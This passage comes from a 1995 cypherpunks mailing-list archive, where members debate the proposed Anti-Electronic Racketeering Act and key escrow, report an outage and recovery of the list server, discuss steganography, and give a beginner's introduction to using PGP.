>software is considered a predicate act."  


The crypto section has no GAK exclusion.  It makes it as illegal to release
GAKed crypto on a net as PGP.



I believe that the concern about defining predicate acts this way comes
from the RICO requirement that there be TWO instances of a crime in order
to pass the test of perpetrating a *pattern of crime* and therefore be
ranked as a mobster subject to RICO.  My guess is that the intent is that
from one placement on an FTP server or one posting to a newsgroup, the
perpetrator of that heinous act will have passed his RICO qualification and
therefore be subject to having all he owns taken from him.

-------

Meanwhile, the Federal civil forfeiture fund goes to good things.  The last
$9M (I believe it was) went to buying up AT&T DES phones to be made into
Clipper phones.  Of course, the conversion hasn't happened yet and the DES
phones are sitting in a warehouse someplace -- but the $9M fund went to
really good use, saving the world from AT&T DES.

(sarcasm off)

+--------------------------------------------------------------------------+
|Carl M. Ellison    cme at acm.org    http://www.clark.net/pub/cme/home.html  |
|PGP: E0414C79B5AF36750217BC1A57386478 & 61E2DE7FCB9D7984E9C8048BA63221A2  |
|  ``Officer, officer, arrest that man!  He's whistling a dirty song.''    |
+----------------------------------------------------------- Jean Ellison -+







From hugh at ecotone.toad.com  Fri Jul 14 17:17:00 1995
From: hugh at ecotone.toad.com (Hugh Daniel)
Date: Fri, 14 Jul 95 17:17:00 PDT
Subject: ADMIN: List wipeout and recovery
Message-ID: <9507150012.AA03568@ecotone.toad.com>


  Yeghads, it happened again.  Last night at about 22:47 the disk
partition that holds the cypherpunks mail list filled up and when
someone tryed to sub/un-scribe using Majordomo the list got zeroed.
  No one broke into the system to do any evil, it's just confusion,
rotten software and poor management by yours truley that casued the
problem.
  Next problem was that toad.com had changed a lot in the last 9
months, and we had moved things about in such a way that I did not
seem to have any backups of the file!  Today our gracious host, John
Gilmore called up to see what the problem was and if there was any way
to fixit.  Using two heads was better than one and we realized that we
had a online backup only 2 days old.  Minutes later it was installed
and the list is back to where it was late on 1995/07/11.

  So, some of you will need to un-subscribe again, our apologies about
that.  I will dig out the lost messages and make a digest-ish like
post of everything that was posted since about 22:30 last night.

  I will also look at moving away from MajorDomo as list software due
to its being moribund, old, stupid and bothersome!

  Thanks also goes to L. McCarthy <lmccarth at cs.umass.edu> for sending
pleasant email to the right folks (majordomo-owner at toad.com is best)
to lets us know that there was a problem.

  If you have any questions please send them directly to me as the
list is allready full of off topic posts (big hint folks...).

		||ugh Daniel
		Majordomo Potty Trainer
		majordomo-owner at toad.com





From cme at TIS.COM  Fri Jul 14 17:23:05 1995
From: cme at TIS.COM (Carl Ellison)
Date: Fri, 14 Jul 95 17:23:05 PDT
Subject: Anti-Electronic Racketeering Act of 1995 (fwd)
In-Reply-To: <199507141952.MAA06381@comsec.com>
Message-ID: <9507142327.AA10694@tis.com>


>Date: Wed, 12 Jul 95 18:20:07 -0400
>From: "Brian A. LaMacchia" <bal at martigny.ai.mit.edu>

>Finally, we begin to see the attack on all forms of un-escrowed
>encryption.  The bill provides an affirmable defense of
>giving the keys to the government ahead of time!
>
>       `(c) It shall be an affirmative defense to prosecution under this
>     section that the software at issue used a universal decoding device
>     or program that was provided to the Department of Justice prior to
>     the distribution.'.


This isn't escrowed encryption being allowed here.  This is straight giving
of keys (or a back door) to the gov't.  Even Clipper fails this test.

 - Carl






From lmccarth at cs.umass.edu  Fri Jul 14 17:23:14 1995
From: lmccarth at cs.umass.edu (L. McCarthy)
Date: Fri, 14 Jul 95 17:23:14 PDT
Subject: Stego Standards Silly ? (Was: Re: def'n of "computer network")
Message-ID: <9507150023.AA10363@cs.umass.edu>


Hugh seems to have restored the full list on Majordomo, so I'll forward the
last couple of messages I sent/received yesterday that should have gone to
the whole list....

-Futplex

Forwarded message:
>From lmccarth Fri Jul 14 00:12:07 1995
Subject: Stego Standards Silly ? (Was: Re: def'n of "computer network")
To: cypherpunks at toad.com (Cypherpunks Mailing List)
In-Reply-To: <9507140229.AA13447 at snark.imsi.com> from "Perry E. Metzger" at Jul 13, 95 10:29:29 pm

-----BEGIN PGP SIGNED MESSAGE-----

.pm writes:
> Indeed -- how could the recipient even know to look, unless these
> things arrived regularly and with a fully standardized form of
> stegonography, in which case why bother, all you've done is come up
> with a very odd form of transfer encoding.

I agree, but AFAICS an odd form of transfer encoding is exactly what the
doctor ordered. For plausible cryptodeniability, one wants to send 
ciphertext using a transfer encoding that doesn't automatically ring alarm
bells. Steganography amounts to laundering Content-Type: headers.

> If the recipient does know to look, that implies either that there is
> a hint, in which case the stegonography is useless, or it implies that
> you have prearrangement, in which case my comments on prearrangement
> hold.

If the recipient isn't getting spammed with GIFs (or whatever), she (or
rather her MDA) can simply look at all of them by default. Of course this
does not help with anonymous message pools on the order of Usenet, but that
is a sub-issue.

Deranged Mutant raised an IMHO important issue a few months ago. He suggested
that Mallet could go about trashing the purportedly "random" bits in each
instantiation of some transfer encoding used in a stego standard. For
example, he shuffles the LSBs of every passing JPEG. I'm not sure how feasible
this would really be (both technically and sociopolitically), but it
could be a big annoyance if only a few people were suspected of using stego
method XYZ. 

The standard answer to agent-in-the-middle tampering is of
course digital signatures. Now, the question is, will we be allowed to sign
our possibly-stego-enclosing GIFs with reasonable confidence that the govt.
can't forge our signatures ? Obviously the signature itself can't be
stegoed, or else we fall into an infinite regress.

 -Futplex <futplex at pseudonym.com>

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMAXuSWf7YYibNzjpAQHlpQP/f3/e5iRl67zU3TLYZH1oNBBjC1+LYPH8
VkQMhvtRdlo2xBkY56jaZ6hZuzWanknVD1EKrG72vl5sPytXXDs5dVplFlelVw6f
VjC2UxNHe0dQHmmJqXNMMq4qlC8ZxgtNf4P9O+6iJKjz6SbA7F6LuRd+3TXv5tHm
xgGSY5bzJp8=
=ia+X
-----END PGP SIGNATURE-----





From stewarts at ix.netcom.com  Fri Jul 14 18:11:56 1995
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Fri, 14 Jul 95 18:11:56 PDT
Subject: Mr. Newbie...
Message-ID: <199507150109.SAA06854@ix3.ix.netcom.com>


At 05:35 PM 7/13/95 -0400, The Gate wrote:
>
>	Okay folks, here comes Mr. Newbie.
>
>	Duh...How can I figure out how to use pgp. Is there a good place 
>to learn the background and basics in a step-by-step easy to understnad 
>way? Duh... I think I wanna know...

The documentation that comes with PGP isn't bad; read the pgpdoc1 and
pgpdoc2 files.
(If you buy ViaCrypt, you get them in nice spiral-bound manuals, but it's
basically
the same stuff.)  Here's an overview of the basics:
- RSA public-key encryption lets you create a public encryption key which you
can publish, so that other people can encrypt files that can only be decrypted
with your private key.  It also lets you sign files by decrypting them with your
private key, which other people can check by encrypting with your public key
to get the original message (or a hash of it) back.  What makes this
mathematically
cool is that it does it in a way that takes exponentially long amounts of time
to find your private key from the public key, so anybody who wants to crack
a reasonably
long key needs to run a big hairy computer for about the age of the planet
to do so,
but you can do decryption reasonably fast because you already know the
private key,
and the same algorithm works well for both encryption and digital signatures.

- RSA encryption isn't very fast, so most real programs that use it encrypt the
file with a conventional crypto algorithm (PGP uses IDEA) using a randomly
chosen
session key, and encrypt the session key with RSA; it's a lot faster.

- The problem with public-key encryption is that anybody who wants to send
you a message needs to be sure they've really got _your_ public key instead
of a key that some Bad Guy published saying "Here's Alice's public key -
trust me!".
Since RSA can do digital signatures, PGP uses them to create a "Web of Trust",
where you can sign a message saying "Here is Alice's key, signed Bob",
and anybody who's got a good copy of your key (and trusts you) will know they've
got a good copy of Alice's key.  If they didn't get a copy of your key directly
from you, they may have a message saying "Here's Bob's key, signed Carol",
or maybe they got that and Carol's key, signed by Dave, and they know Dave
personally so they've checked it with him.  How big a Web of Trust can you
trust?
Well, you probably need more security if you're running a revolution than if
you're trying to find out if a Usenet article is genuine or bogus, so PGP lets
you choose, but the default is 4 levels deep.

- OK, so how do you get PGP? - there's an occasional publication on the net
that tells you where, but you can get it from ftp.ox.ac.uk by ftp with no
hassle.
Inside the US, you want version 2.6.2 for non-commercial use, and you have
to buy
ViaCrypt's licensed version if you want to sell services using it.  Outside
the US,
the version's something like 2.6.2i or something ending in i.  3.0 will be out
"Real Soon Now", probably in 1995, but it's hard work.  Versions are available
for DOS, Mac, Unix, and a few less popular OSs.  ViaCrypt has a special
Windows version;
the rest of us Windows users can either run it from DOS or use a front-end
program
like Private Idaho (ftp.eskimo.com/joelm/) or WinPGP, available from popular
FTP sites.
If you're using the Unix version, it's assumed you know how to read readme files
and compile using Make; DOS folks get binary as well as source and
documentation.
Unix folks will notice that the command line has this ugly DOS feel to it :-)

- So you've got it installed and you've read the documentation, and messed with
the config.txt file if you didn't like the default options, and now
you want to do something.  Type "pgp -h" to get help, or "pgp -k" to get help
with keys for a reminder.  Then type "pgp -kg" to generate a key - you
probably want a 768-bit or 1024-bit key for normal use, unless you're
paranoid or
have a slow computer.  Because RSA keys are long strings of binary data that
are hard for humans to remember, PGP stores them in a file, encypted with IDEA,
and will prompt you for a "passphrase" for the encryption.  Make it something
long and complicated enough to be secure, but easy for you to remember without
writing it in a yellow sticky-note, and not blatantly obvious.  You'll need to 
use it any time you decrypt a file somebody else sent you, or sign a file you're
sending to someone else.  You'll also need a name - typical format looks like
        Bob Dobbs <jrd at slack.com>
which has your name and email address.  Most of the time you'll just use an
abbreviation and let pgp figure it out.  To send your key to someone else,
once you've generated it, type "pgp -kx Dobbs filename" and it'll create a file
you can mail somebody else which will let them encrypt stuff to you.

To decrypt a file you got from someone else, type "pgp filename",
which will do the right thing for decryption, checking signatures,
receiving new keys, etc.  To encrypt a file to someone else, type 
"pgp -e filename theirname" and pgp will create a file called filename.asc
(or filename.pgp if you don't have the ascii-armor option set, which you
should.)
To sign a file to send somebody, type "pgp -s filename", which will do the same,
and there are various options you should read in the manual.
#                                Thanks;  Bill
# Bill Stewart, Freelance Information Architect, stewarts at ix.netcom.com






From sandfort at crl.com  Fri Jul 14 18:12:43 1995
From: sandfort at crl.com (Sandy Sandfort)
Date: Fri, 14 Jul 95 18:12:43 PDT
Subject: ping
In-Reply-To: <Pine.SOL.3.91.950714190206.3736A-100000@welchlink.welch.jhu.edu>
Message-ID: <Pine.SUN.3.91.950714180937.21410A-100000@crl6.crl.com>


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Fri, 14 Jul 1995, cjl wrote:

> However, I have not gotten any mail from the list today which leads me to 
> believe that there is something wrong with the list-server, you couldn't 
> all possible have been struck dumb with terror by the Your-ass-is 
> Grassley Act :-)

Nawh, We're all out celebrating Bastille Day.  Aren't you?


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From bal at martigny.ai.mit.edu  Fri Jul 14 18:28:39 1995
From: bal at martigny.ai.mit.edu (Brian A. LaMacchia)
Date: Fri, 14 Jul 95 18:28:39 PDT
Subject: Anti-Electronic Racketeering Act of 1995 (fwd)
In-Reply-To: <9507142311.AA09635@tis.com>
Message-ID: <9507150128.AA16854@toad.com>


   Date: Fri, 14 Jul 95 19:11:39 EDT
   From: Carl Ellison <cme at tis.com>
   Cc: cypherpunks at toad.com
   Sender: owner-cypherpunks at toad.com
   Precedence: bulk

[I've combined parts of Carl's two recent messages...]

   I believe that the concern about defining predicate acts this way comes
   from the RICO requirement that there be TWO instances of a crime in order
   to pass the test of perpetrating a *pattern of crime* and therefore be
   ranked as a mobster subject to RICO.  My guess is that the intent is that
   from one placement on an FTP server or one posting to a newsgroup, the
   perpetrator of that heinous act will have passed his RICO qualification and
   therefore be subject to having all he owns taken from him.

I agree with Carl here.  

   The crypto section has no GAK exclusion.  It makes it as illegal to release
   GAKed crypto on a net as PGP.

The proposed 1030A(c) provides a defense to prosecution under 1030A(a).
So if GAKed crypto satisfies 1030A(c) then it can be deployed without
fear of prosecution under 1030A(a).  It might still violate ITAR, of
course, although I suspect any system that satisfies 1030A(c) would be
granted a CJ.

   >       `(c) It shall be an affirmative defense to prosecution under this
   >     section that the software at issue used a universal decoding device
   >     or program that was provided to the Department of Justice prior to
   >     the distribution.'.

   This isn't escrowed encryption being allowed here.  This is straight giving
   of keys (or a back door) to the gov't.  Even Clipper fails this test.

Why doesn't GAK satisfy this clause?  Clearly if the keys are escrowed
with two Dept. of Justice entities (or if there's only one escrow agent
and it's a DOJ entity) then DOJ will have been provided with sufficient
information to decode any encryted information by themselves.  

Certainly commercial escrow systems (such as TIS's CKE[*] system with DRCs
(data recovery centers) and DRFs (data recovery fields)) could fail this
test, since the chosen escrow agents may not be subject to DOJ control.
But I could build a CKE system with an "overriding UI (user identifier)"
that had access to all the keys, and provide that UI to DOJ.  The
"universal decoding device" would then be to go to the DRC, present that
UI and the DRF and recover the desired information.

I don't see how Clipper fails the 1030A(c) test, except possibly for the
fact that the proposed escrow agents were not both within DOJ.  I think
that's a minor point.

					--bal

[*] See ftp://ftp.tis.com/pub/crypto/drc/papers/drc.ps, Carl's initial
description of the TIS CKE system.





From lmccarth at cs.umass.edu  Fri Jul 14 18:46:41 1995
From: lmccarth at cs.umass.edu (L. McCarthy)
Date: Fri, 14 Jul 95 18:46:41 PDT
Subject: Timothy C. May: Re: Crisis Overload (re Electronic Racketeering)
Message-ID: <9507150146.AA11209@cs.umass.edu>


Tim's original transmission of the following message didn't make it out to
the (briefly annulled) list. I've already replied to Tim in private, but I'll
offer my apologies if I've misled anyone as to whose mail originally went
where.

-Futplex

Forwarded message:
> From tcmay at sensemedia.net Fri Jul 14 02:01:08 1995
> Date: Thu, 13 Jul 1995 23:03:50 -0700
> X-Sender: tcmay at mail.sensemedia.net
> Message-Id: <ac2b562c03021004310a@[205.199.118.202]>
> Mime-Version: 1.0
> Content-Type: text/plain; charset="us-ascii"
> To: futplex at pseudonym.com, cypherpunks at toad.com
> From: tcmay at sensemedia.net (Timothy C. May)
> Subject: Re: Timothy C. May: Re: Crisis Overload (re Electronic Racketeering)
> 
> At 2:57 AM 7/14/95, L. McCarthy wrote:
> >> Perry,
> >>
> >> I have all I'm going to take of your acerbic rudeness to me.
> >>
> >> I will no longer be responding to any of your messages.
> >>
> >> --Tim
> >
> ><sigh>
> >
> >Everybody needs to take a deep breath and count to 1,000. Seriously,
> >we're all feeling plenty of stress today. Various people have been
> >talking about getting out of the U.S. while the going's good (?), and
> >it doesn't sound much like hyperbole this time. It's not surprising that
> >we're releasing our frustration on each other, lashing out at the nearest
> >quasi-tangible targets.
> 
> Note that I didn't post that to the list.
> 
> Your requoting it, without the intermediate quoting of the person who _did_
> post it to the list, makes it appear I was spewing this garbage to the
> list, when I wasn't.
> 
> I don't care for your pop psychology. I would've followed your advice and
> left these comments in e-mail only, had you done the same.
> 
> --Tim May
> 
> ..........................................................................
> Timothy C. May         | Crypto Anarchy: encryption, digital money,
> tcmay at sensemedia.net   | anonymous networks, digital pseudonyms, zero
> 408-728-0152           | knowledge, reputations, information markets,
> Corralitos, CA         | black markets, collapse of governments.
> Higher Power: 2^756839 | Public Key: PGP and MailSafe available.
> "National borders are just speed bumps on the information superhighway."






From gnu at toad.com  Fri Jul 14 18:50:53 1995
From: gnu at toad.com (John Gilmore)
Date: Fri, 14 Jul 95 18:50:53 PDT
Subject: IEEE P1363 (public key crypto) standards meeting after Crypto
Message-ID: <9507150150.AA17439@toad.com>


Even if you aren't going to Crypto, there are draft standards
documents, etc, FTP-able.  See below.  I haven't read them yet.

	John

Date: Thu, 13 Jul 95 10:56:18 PDT
From: Burt Kaliski <burt at rsa.com>
To: pem-dev at TIS.COM
Subject: Meeting announcement

  IEEE P1363: Standard for RSA, Diffie-Hellman and Related
                   Public-Key Cryptography


                       MEETING NOTICE

            Thursday, August 31, 1995, 1:00-6:00pm
            Friday, September 1, 1995, 9:00-6:00pm
         University of California, Santa Barbara, CA


This meeting of the P1363 working group, open to the public,
will focus on the editing of a draft standard for RSA,
Diffie-Hellman and other public-key cryptography. The
meeting follows the CRYPTO '95 conference, held August 27-31
at the same location.


AGENDA

    1. Approval of Agenda

    2. Approval of Minutes from May Meeting

    3. Officers' Reports

    4. Update on Patent Issues

    5. Proposals for New Sections

    6. Meeting Schedule

    7. Editorial Work (schedule to be determined based
       on availability of draft material)

    8. New Work Assignments

Depending on the amount of editorial work, the meeting may
end sooner than 6:00pm Friday.

If you'd like to participate, contact Burt Kaliski, the
working group's chair, at RSA Laboratories, 100 Marine
Parkway, Redwood City, CA 94065. Phone: (415) 595-7703, FAX:
(415) 595-4126, E-mail: burt at rsa.com.

Draft sections and copies of previous minutes are available
via anonymous ftp to ftp.rsa.com in the "pub/p1363"
directory. The working group's electronic mailing list is
<p1363 at rsa.com>; to join, send e-mail to
<p1363-request at rsa.com>.

There will be a meeting fee, though the amount has not yet
been established, pending arrangements with the university.
It will also be possible for participants to arrange
accommodations at the university.


DIRECTIONS (excerpted from the CRYPTO announcement)

The campus is located approxmately two miles from the Santa
Barbara airport, which is served by several airlines,
including American, America West, United and US Air. All
major rental car agencies are also represented in Santa
Barbara, and AMTRAK has rail connections to San Francisco
from the north and Los Angeles from the south. Santa Barbara
is approximately 100 miles north of the Los Angeles airport,
and 350 miles south of San Francisco.

For more information on the CRYPTO '95 conference, contact
Stafford Tavares, the general chair, at (613) 545-2945 or
<tavares at ee.queensu.ca>.






From don at cs.byu.edu  Fri Jul 14 19:30:32 1995
From: don at cs.byu.edu (Donald M. Kitchen)
Date: Fri, 14 Jul 95 19:30:32 PDT
Subject: Free The World Web Server project.. :)
Message-ID: <199507150229.UAA23961@bert.cs.byu.edu>


Hooking up a mass mailer to congress seems like a bad idea to me, because
they're really only interested in their constituants. If they start getting
mass mailings, they might start thinking there's only one person or a
small group of people "behind the curtain". Sending results of an e-petition,
however, would be unobtrusive. A web page that mails a form letter to
_your_ congressperson's form-letter-readers (ie staff readers) would be
much better, IMHO.
 
Don





From shamrock at netcom.com  Fri Jul 14 19:39:53 1995
From: shamrock at netcom.com (Lucky Green)
Date: Fri, 14 Jul 95 19:39:53 PDT
Subject: ping
Message-ID: <v01520d02ac2cc63e11c9@[192.0.2.1]>


At 19:13 7/14/95, cjl wrote:
>Cypherpunks,
>
>It was my intention to write a little summary of the story in the most
>recent issue of SCIENCE

Can you scan it in?

-- Lucky Green <mailto:shamrock at netcom.com>
   PGP encrypted mail preferred.







From jya at pipeline.com  Fri Jul 14 20:12:23 1995
From: jya at pipeline.com (John Young)
Date: Fri, 14 Jul 95 20:12:23 PDT
Subject: MYS_fit
Message-ID: <199507150312.XAA23783@pipe3.nyc.pipeline.com>


   7-14-95. NYPaper Page Oner:


   "2 Groups of Physicists Produce Matter That Einstein
   Postulated."

      By chilling a cloud of atoms to a temperature barely
      above absolute zero, scientists at a Colorado laboratory
      have at last created a bizarre type of matter that had
      eluded experimenters ever since its potential existence
      was postulated by Albert Einstein 70 years ago. The
      creation of this Bose-Einstein condensate -- named for
      Einstein, and the Indian theorist Satyendra Nath Bose --
      was hailed yesterday as the basis of a new field of
      research expected to explain some fundamental mysteries
      of atomic physics. A Texas group later produced similar
      results. The achievement should allow physicists to peer
      directly into the realm of the ultrasmall.     MYS_fit


   [This was also reported in The Economist of July 1.]













From jya at pipeline.com  Fri Jul 14 20:13:51 1995
From: jya at pipeline.com (John Young)
Date: Fri, 14 Jul 95 20:13:51 PDT
Subject: SEK_hel
Message-ID: <199507150313.XAA23951@pipe3.nyc.pipeline.com>


   7-14-95. NYPaper:


   "U.S. Spells Out Antitrust Inquiry Into Microsoft."

      The Justice Department said today that the Microsoft
      Corporation might well be violating antitrust laws by
      including software for its new on-line network in
      Windows 95, its much-anticipated operating system for
      personal computers.                            JUS_kid


   "Sting on Internet Leads to a Child Sex Case."

      In a case involving child pornography, the Internet and
      a self-appointed enforcer whom one critical defense
      lawyer calls an "electronic vigilante," a Nevada man is
      facing prison for crossing state lines with the
      intention of having sex with a 14 year-old girl he had
      met on a popular computer network.             SHE_dev


   [Editorial] "The Guns of Waco and Ruby Ridge."

      There is little doubt that the Federal Government
      contributed heavily to two of the biggest law
      enforcement fiascoes in recent memory. One was the
      disastrous 1993 Federal raid on the Branch Davidian
      compound at Waco, Tex. The other was the tragic 1992
      encounter between the F.B.I. and a band of white
      separatists at Ruby Ridge, Idaho.              LIT_bub



   3:  SEK_hel










From bal at martigny.ai.mit.edu  Fri Jul 14 21:08:58 1995
From: bal at martigny.ai.mit.edu (Brian A. LaMacchia)
Date: Fri, 14 Jul 95 21:08:58 PDT
Subject: S. 982 Kyl-Leahy(-Grassley) NII Protection Act
Message-ID: <9507150408.AA21123@toad.com>


S. 982 is "the other bill" introduced recently in the Senate, the
National Information Infrastructure Protection Act of 1995 (introduced
by Sens. Kyl, Leahy and Grassley).  Since it has bipartisan support plus
the support of the Attorney General I thought it might be a good idea to
see what it really does.

I've made available via WWW the following documents:

	The text of S. 982: The National Information Infrastructure Protection Act of 1995; 
        The text of 18 USC 1030 as it is currently; 
        The text of 18 USC 1030 as modified by S. 982; 
        Sen. Kyl's statement introducing S. 982; 
        Sen. Leahy's statement introducing S. 982; 
        A section-by-section analysis of S. 982 provided by Sens. Kyl and Leahy; 
 
All are available from my "Legal Issues" page at:

	http://www-swiss.ai.mit.edu/~bal/legal/

The "text of 18 USC 1030 as modified by S. 982" is perhaps the most
interesting, since it shows both text removed by the bill (in italics)
and text added by the bill (in boldface).

					--bal





From unicorn at xanadu.mindport.net  Fri Jul 14 21:39:32 1995
From: unicorn at xanadu.mindport.net (Black Unicorn)
Date: Fri, 14 Jul 95 21:39:32 PDT
Subject: Ssh and Macintosh applications.
Message-ID: <199507150535.AAA00185@xanadu.mindport.net>



Having looked over the Ssh blurbs, I can't help but want to use it.  NOW.

Is anyone more skillful than I going to try and port some sort of support
for those of us who are using a Mac with, say, a direct connection to a
provider using Ssh?

Please?






From sebaygo at intellinet.com  Fri Jul 14 22:03:43 1995
From: sebaygo at intellinet.com (Allen Robinson)
Date: Fri, 14 Jul 95 22:03:43 PDT
Subject: Anti-Electronic Racketeering Act of 1995 (fwd)
Message-ID: <Pine.3.89.9507150010.A21948-0100000@sibyl.intellinet.com>



I'm posting this again, not because I think it contains any
particularly profound insights, but rather because I initially
sent it around midnight last night and it was not reflected
here so I suppose it did not make it out.

AR

---------- Forwarded message ----------
Date: Fri, 14 Jul 1995 00:12:14 -0500 (CDT)
From: Allen Robinson <sebaygo at intellinet.com>
To: Ray Arachelian <sunder at escape.com>
Cc: Cypherpunks Mailing List <cypherpunks at toad.com>
Subject: Re: Anti-Electronic Racketeering Act of 1995 (fwd)

On Thu, 13 Jul 1995, Ray Arachelian wrote:

> On Thu, 13 Jul 1995, L. McCarthy wrote:
> 
> > Mr. GRASSLEY. Mr. President, I rise this evening to introduce the
> > Anti-electronic Racketeering Act of 1995. This bill makes important changes
> > to RICO and criminalizes deliberately using computer technology to engage in
> > criminal activity. I believe this bill is a reasonable, measured and strong
> > response to a growing problem. According to the computer emergency and
> > response team at Carnegie-Mellon University, during 1994, about 40,000
> > computer users were attacked. Virus hacker, the FBI's national computer
> > crime squad has investigated over 200 cases since 1991. So, computer crime is
> > clearly on the rise.
> 
> Eh, what do "virus hackers" have to do with encryption, why is it these 
> morons justify the destruction of encryption by mentioning hackers and 
> viruses?

The use of terms such as "virus" and "hacker" in a context such
as this has little or nothing to do with what the terms actually
mean.  It's palpably obvious that they are being bandied about
here solely for the knee-jerk emotional reactions they evoke.
Even those more computer/net clue-impaired than Grassley (assuming
that such is possible) know from watching TV and the movies that
a virus is a Bad Thing (tm) and that hackers are evil!
Pseudo-digital demagoguery.
 
> Additionally, does this mean that someone outside of the USA is in danger 
> of being grabbed by RICO armed thugs from Uncle Sam's cadre for writing 
> crypto software and publishing it in the open?  After all, once it winds 
> up on some USA site, how do we know that someone outside the USA got his 
> copy of SuperDuperNSASpookFree from a non-US site?  Just to be sure, 
> we'll bust both the site operator and nab the guy who wrote it next time 
> he drops in, or hell, we'll have him extradited.  

Or simply kidnap him and escort him back to the U.S.
 
<snip>

> > I believe we need to seriously reconsider
> > the Federal Criminal Code with an eye toward modernizing existing statutes
> > and creating new ones. In other words, Mr. President, Elliot Ness needs to
> > meet the Internet.
> 
> Where is Elliot Ness?  I don't see any mafia.org on the net.  Anyone here 
> see any such site?

It might be even more beneficial if Senator Grassley and the other
members of our august deliberative bodies would meet the internet.
My gut reaction to the recent tide of legislation is that they are
seeking to stangle what they fear and that they fear what they do
not understand.  (Too melodramatic?)
 
> > Mr. President, I sit on the Board of the Office of Technology Assessment.
> > That Office has clearly indicated that organized crime has entered cyberspace
> > in a big way. International drug cartels use computers to launder drug money
> > and terrorists like the Oklahoma City bombers use computers to conspire to
> > commit crimes.
>
> Was it not proven that McVeigh and Co. >DID NOT< use a computer?  THe AOL 
> account was a hoax, no?  Where are the hoardes of anti-USA terrorists, 
> and drug pushers on the net? 

You don't recognize them because they are masquerading 
as "virus hackers".

Again, the main reason for playing the "terrorist" card is
for the emotional hot-buttons they can push by so doing.
Since Grassley didn't use it, look for someone to introduce
something this session titled, "The Avenge Those Poor,
Innocent, Bloody Dead Children Act of 1995".

AR

%#%=%#%=%#%=%#%=%#%=%#%=%#%=%#%=%#%=%#%=%#%=%#%=%#%=%#%=%#%=%#%=%#%=%#%
"Government is not reason... it is force.  Like fire, it is a dangerous
servant and a fearful master."                      - George Washington
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Allen Robinson...................................sebaygo at intellinet.com
PGP public key AD022AA9   fingerprint 5A3BC05B2EC67724 F5664A20AEEAB07A







From kinney at bogart.Colorado.EDU  Fri Jul 14 23:14:23 1995
From: kinney at bogart.Colorado.EDU (W. Kinney)
Date: Fri, 14 Jul 95 23:14:23 PDT
Subject: MYS_fit
In-Reply-To: <199507150312.XAA23783@pipe3.nyc.pipeline.com>
Message-ID: <199507150614.AAA05933@bogart.Colorado.EDU>




O.K., this is totally off any reasonable topic, but allow me the indulgence:

>    "2 Groups of Physicists Produce Matter That Einstein
>    Postulated."

I've been hanging around Carl Weiman's lab for a couple of years (a friend
of mine works on one of the projects), and this is one hell of an 
achievement. The apparatus they use sits on a tabletop, and you can
watch the gas through infared T.V. cameras in real time. The trap is just
a little vacuum chamber with windows in the side. They use the same
diode lasers that come in your C.D. player, an ingeniously inexpensive
setup. 

Yow!

                                  -- Will





From tcmay at sensemedia.net  Fri Jul 14 23:52:09 1995
From: tcmay at sensemedia.net (Timothy C. May)
Date: Fri, 14 Jul 95 23:52:09 PDT
Subject: ADMIN: List wipeout and recovery
Message-ID: <ac2cb2180f021004ef06@[205.199.118.202]>


At 12:12 AM 7/15/95, Hugh Daniel wrote:
>to fixit.  Using two heads was better than one and we realized that we
>had a online backup only 2 days old.  Minutes later it was installed
                          ^^^^^^^^^^^
>and the list is back to where it was late on 1995/07/11.

I think your backup is a lot older than 2 days old, as a "who cypherpunks"
request showed this as my list address:

....
talon57 at well.sf.ca.us
tcmay at netcom.com (Timothy C. May)
tentacle at hclb.demon.co.uk
....

I haven't been subscribed as "tcmay at netcom.com" since mid-June. Since
mid-June I've been subscribed as "tcmay at sensemedia.net".

Why did I get this message at my sensemedia.net address if in fact "who
cypherpunks" shows my subscription address is only at Netcom? Beats me. I
checked and I am not subscribed under both addresses, and a grep of the
"who cypherpunks" list doesn't show a sensemedia.net address for me. Maybe
the "who cypherpunks" at 16:21 today is a different backup list than the
supposedly 2-day old list.... Something for the X Files, perhaps.

--Tim May

..........................................................................
Timothy C. May         | Crypto Anarchy: encryption, digital money,
tcmay at sensemedia.net   | anonymous networks, digital pseudonyms, zero
408-728-0152           | knowledge, reputations, information markets,
Corralitos, CA         | black markets, collapse of governments.
Higher Power: 2^756839 | Public Key: PGP and MailSafe available.
"National borders are just speed bumps on the information superhighway."







From tj at compassnet.com  Sat Jul 15 01:05:16 1995
From: tj at compassnet.com (Bolivar Shagnasty)
Date: Sat, 15 Jul 95 01:05:16 PDT
Subject: Crisis Overload (re Electronic Racketeering)
Message-ID: <Chameleon.4.01.2.950715030350.tj@tjunker.compassnet.com>


Originally sent to list during server failure:
---------------Included Message---------------

Perry Metzger wrote:

>"Robert A. Hayden" writes:
>> We've seen the enemy, that the are the 535 senators and representatives 
>> in D.C., and the staff in the White House.  It's time to shore up our 
>> allies and enter the battle witht he best weapons we have; information 
>> and popular use.
>
>As unpleasant as the congress is, it isn't the enemy. The governmental
>forces desiring control are not the same as the congress.

This is true.  IMNSHO we are witnessing yet another case of the 
representation of an illegitimate constituency.  Grassley is not representing 
the people of his state -- he is representing and carrying water for federal 
government interests.  While some people used to acidly refer to "The Senator 
from Texaco" and such, it is a much more common situation that some Senators 
and Representatives represent federal agencies in matters before their 
chamber that virtually NO VOTER would ever think of or could even discover as 
a matter of personal interest.  You can be sure Cathy Cornflower of Cherokee 
didn't start this by writing Grassley and suggesting that RICO be expanded to 
cover distribution of non-GAK crypto.  It is inconceivable that more than a 
tiny handful of Grassley's constituents would even recognize anything in his 
bill if stopped on the street and asked about it.

Agencies develop "friendly" congresscritters like the Soviets used to develop 
"friendly" journalists and politicos.  It wouldn't even be all that 
surprising if similar methods are used.  The "friendlies" take obscure and 
no-so-obscure issues before their house on behalf of the agencies.  At some 
level this is probably necessary, but with all those folks getting comfy with 
each other up there in Disneyland-on-the-Potomac, it's impossible that unholy 
alliances do not develop.  The "us vs them" mentality of a congresscritter 
grows to encompass all three branches under "us" and views the unwashed 
masses as "them."  In that view the suit from XYZ who comes over to confer 
with the staffers is "one of us."  He gets right in (while visiting 
constituents wait stupidly for an appointment that the elected official will 
be -- we're so sorry -- unable to keep).  He's bringing up an issue of 
concern to "us."  "We" have a problem that needs to be fixed by modifying 
para (a) of sec (3) to read "shall" instead of "may."  "We" will feel very 
